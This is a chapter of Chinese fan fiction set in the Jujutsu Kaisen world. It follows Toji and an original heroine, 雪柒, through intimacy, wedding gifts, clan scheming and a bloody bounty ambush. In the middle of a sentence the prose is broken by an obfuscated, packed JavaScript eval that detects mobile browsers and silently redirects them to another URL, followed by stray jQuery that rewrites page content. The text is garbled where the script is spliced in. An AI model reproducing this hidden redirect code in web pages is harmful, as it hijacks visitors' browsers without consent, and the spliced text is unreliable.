也许是太长时间没有亲密,原本只是想浅尝辄止的两人,一下子没控制住,等回过神来的时候,只有散落一地的衣服和暧昧的气味。
雪柒趴在甚尔的身上,有气无力,甚尔的呼吸较平时也快了些,他粗糙的手抚上了她光洁的后背。
甚尔将人捞起,想抱着雪柒上楼,可她却挣扎着下了地,眼神哀怨,“我自己去洗!”
甚尔显得意犹未尽,不过他也不敢保证自己第二次能不能忍住,索性还是分开洗安全些。
雪柒去了二楼的浴室,镜子印照出身上的暧昧痕迹,撑在洗面台上的手也有些发酸,回想刚刚的一幕幕,她只想无声尖叫。
一楼浴室的甚尔看着背后的一道道抓痕,以及肩膀处的多处咬痕,吐槽了一句“属狗的吧”,不过动情时候,却甜腻得不像话。
其实除了最后一步,他们能干的,不能干的,基本上都干完了。
两人都洗漱完毕后,这才和谐地坐到了沙发上,那些痕迹早就被甚尔收拾干净了,雪柒对此很满意,这才是一个合格的丈夫!
“白色和服?”雪柒总算是拆开了第一个礼物。
这件和服从里到外均是白色,但领口和下摆处一抹浅金,衣服材质柔软却泛着光泽,刺绣图案栩栩如生,两者呼应,更添一份高贵神圣。
雪柒的裙子都是限定,但没有哪一件能够和眼前这件媲美,她抚摸了一下上面的图案,心中很是喜欢。
甚尔的下巴抵在她的肩膀上,声音有些沙哑:“喜欢吗?”
雪柒转头吻了一下他的唇,答案不言而喻,甚尔的眸子闪过笑意,加深了这个吻。
“这是婚礼上穿的。”他含糊一句。
雪柒将盒子重新盖回,小心地推到边上,又继续拆开其他礼盒,无一例外都是裙子,但都是先前与孔时雨吃饭时候看上却没买的。
雪柒抱住甚尔就猛啄了几口,这个男人真的,除了嘴巴恶毒外,哪哪都是极品!
甚尔一时间有些招架不住雪柒的热情,但不想再打扫一遍客厅,索性将人牢牢扣在怀里。
两人又闹腾了一会儿,雪柒靠在甚尔的肩头,说起了今天遇到他哥哥禅院甚一的事情,甚尔的第一反应就是问她有没有哪里觉着异常,因为他没有咒力,无法查看和解除咒术师施加的术式。
雪柒表示自己和禅院甚一没有过肢体接触,他也只是想从她身上找突破口,以及那句“若真有意结婚,务必回一趟禅院本家”。
甚尔冷笑了几声,雪柒不明白这句话的意思,但他怎么会不懂呢?这是禅院家的老家伙们认可了雪柒的实力,若生下的孩子具有天赋,那么便可以作为继承人或者主力培养,若没有天赋,到时候再丢弃即可。
至于禅院甚一的劝告,那不过是他作为哥哥的伪善罢了,看似有情感纽带,实则……例行公事。
雪柒从甚尔的只言片语中,大概明白了是怎么一回事,她凑到他的耳边轻喃:“你说我们的孩子真当了家主,禅院家的老家伙们会不会被活活气死?”
“被气死的可能不止是他们。”甚尔笑了。
玩笑归玩笑,但甚尔并不想让自己的孩子在禅院家成长,自己遭受过的一切,他绝对不会让孩子也遭受一遍,不论这个孩子有没有天赋。
雪柒第一次思考后代传承问题,甚尔是这个世界的异类,而她又不属于这个世界,孕育子嗣恐怕没有那么容易,就算成功了,多半也会是普通人。
也许是感受到雪柒情绪陡然低落,甚尔抚摸着她的长发,声音低沉却很坚定:“有孩子,我争取让他有个安稳成长的环境,没有孩子的话……我们就一直这样。”
雪柒明白甚尔话里的意思,他设想过后代天赋的可能性,但结论也是偏向普通人。
“甚尔,你喜欢孩子吗?”雪柒轻声问道。
甚尔将雪柒搂得更紧,他其实没有那么喜欢孩子,也不太想雪柒有危险。
雪柒抚摸着他的下颌线,低喃道:“我其实很喜欢孩子,要是能生个像悟宝贝那么漂亮的孩子……”
“不行,长成那样,我直接掐死。”甚尔极其恶劣开口。
雪柒挠了他一下,继而开始幻想孩子的长相,突然,一张与甚尔极其相似的包子脸闪现,她吓了一跳。
雪柒直起身子,仔细端详着甚尔的脸,甚尔被盯得莫名其妙,又将人按了回去。
“实在喜欢,就去领养一个。”甚尔妥协了一步,但紧接着又补充了一句:“不能像五条家小鬼那样的。”
雪柒捂住了甚尔的嘴巴,对于他的偏见言论,她其实并不想听。
算起来,她已经在这个世界呆了一年多,除了偶尔的出手,大多时候都在扮演着普通人,可这样平凡的日子,她实在过够了。
“甚尔,我想接任务。”雪柒注视着甚尔的眼睛。
甚尔本能地就想拒绝,他完全可以养得起雪柒,可是触及雪柒眼底的执拗,他还是松口了。
将她的手掌放在嘴边轻吻了一下,他叮嘱一句,“有危险第一时间跑。”他会来善后的。
雪柒顺势咬住他的手指,一个用力,就咬破了一个口子,她娇媚一笑:“甚尔……你在看不起谁?”
这才是雪柒的真面目,这一年多里,她收敛太多,让他恍惚间觉得自己真的找了一个娇气弱小的瓷娃娃。
甚尔将手指从她的口中抽出,转而捏着她的下巴,压迫感十足,“属狗的吗?动不动就咬。”
“哈?难道你不是?”雪柒扯开了衣领,露出了片片痕迹。
当晚,甚尔就拨通了孔时雨的电话,并将雪柒的资料发了过去,虽然他知晓雪柒的实力,但还是叮嘱孔时雨注意筛选任务。
孔时雨看着雪柒的“履历”,忍不住倒吸一口冷气,实在太过精彩了,酒店谜团、白川家族的惨案……桩桩件件都与她有关!
虽然不知道她的术式,但应当是不输咒术界各大家族的天骄。
“喂,你在听吗!”甚尔不耐烦道。
孔时雨回过神,忙说“在听”,心头却还是止不住地狂跳,多了这样一个实力天才,他的提
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135726|196267||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
成又能高不少!
“时雨先生,要是有恋爱订单,请多多……唔!”雪柒的话只说了一半。
孔时雨扯了扯自己的领带,他当然不可能会给雪柒安排这类任务,毕竟男人和女人不一样,甚尔可以做到全身而退,雪柒不一定,而且……他还不想被甚尔暴揍。
禅院本家
“与五条悟关系密切,自身的术式奇特,查不到任何过往,这样的女人……竟然会和那个废物在一起。”
“我比较在意的是,他们的后代能不能继承禅院家的祖传术式。”
“有废物的血脉在,恐怕不行。”
……
禅院慎一听着长老们的谈论始终一言不发,如果他们亲眼见过雪柒动手,应当会想方设法让甚尔与她生下孩子,那样恐怖的咒力操控,而且他能感受得到,她一直在压制状态。
“甚一,你怎么看?”禅院直毘人突然出声。
禅院甚一直着腰板,表情没有多大的变化,他说:“很强,不易掌控。”
此话一出,又引来了其他的议论,禅院甚一是唯一正面和雪柒有过接触的人,他的评价绝对真实可靠。
禅院直毘人双手抱胸,他在思考如何让这样的人归顺到禅院家,一旦五条家先抛出橄榄枝,那对于他们来说,是一个极大的损失。
“让那个棋子继续潜伏着吧!”禅院直毘人选择先按兵不动。
禅院甚一低头说“是”,其余长老也止住了议论声,陆续离开了此处。
五条本家
“悟,招揽她是最明智的做法。”
“试过了,她不愿意。”
“那么可以换一种强硬的方式……”
“我觉得结果不会是你想要的。”
一大一小坐在院中交谈,他们并非父子,这个人是五条悟明面上的养育者和教育者,在五条家拥有绝对的地位。
五条悟的年纪与他表现出来的行事作风完全不同,他冷静且有多维度的思考。
他和雪柒接触过两次,但她绝对不像他看到的那般好说话,撕掉伪装之后,一定是一个难缠的家伙。
坐在五条悟边上的那人低声笑了一下,他不否认这个孩子的聪慧,可毕竟还只是个孩子,有些事情还是得按照大人的方式进行。
后半夜,甚尔的手机铃声响起,接通那一刻,电话那头传来了孔时雨焦急的声音:“甚尔,雪柒被挂上了悬赏榜单!”
“谢谢提醒。”雪柒抹了一把脸上的血渍。
甚尔站在边上,冷漠掐断对方的脖子,再扔到一边,口气森冷:“孔时雨,把发布悬赏的人找出来。”
满屋子狼藉,地板上的血迹触目惊心,尸体横七竖八,雪柒舔舐了一下有些干燥地嘴唇,低声笑了起来,“果然……果然普通人的日子就不适合我!”
甚尔望着逐渐疯狂的雪柒,说不清自己是什么感觉,可能是有些可惜,但更多的是……想一同堕入地狱的快感。
“发布者不少,各大家族多少都参与,禅院家……也不列外。”